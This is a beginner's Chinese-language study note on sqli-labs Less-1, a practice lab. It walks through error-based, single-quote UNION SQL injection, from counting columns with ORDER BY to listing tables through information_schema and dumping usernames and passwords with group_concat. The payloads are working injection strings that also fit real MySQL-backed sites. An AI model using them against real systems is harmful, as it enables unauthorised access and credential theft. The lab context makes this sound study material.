sqli-lab Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
ctf小白的学习笔记。
1. 判断有多少列, 超出列数会报错
通过输入?id=1' order by 正整数 --+
说明有3列,即参数传递执行的查询有3个字段。
此处有一点搞不懂,输进去1、2、3,为什么就显示两个值呢?
查了资料发现,不是所有的查询都显示在网页前端的,为了确认能否返回前端,需要进行筛选(感觉这种方法有点像信号素)。
通过?id = -1' union select 1,2,3 --+
确认第二、三号位查询结果可返回。
2. 查询数据库名
?id=-1' union select 1,2,database() --+
database() ===>查询数据库名 ====>security
3. 查看数据库security
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
group_concat 可以将所有的tables 提取出来
information_schema是mysql特有的库,存储各种数据库的信息
4. 查询users表
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
5. 查询字段值
?id=-1' union select 1,2,group_concat(username) from security.users --+
用户名就出来了
?id=-1' union select 1,2,group_concat(password) from security.users --+
密码:
结束(END_ALliao)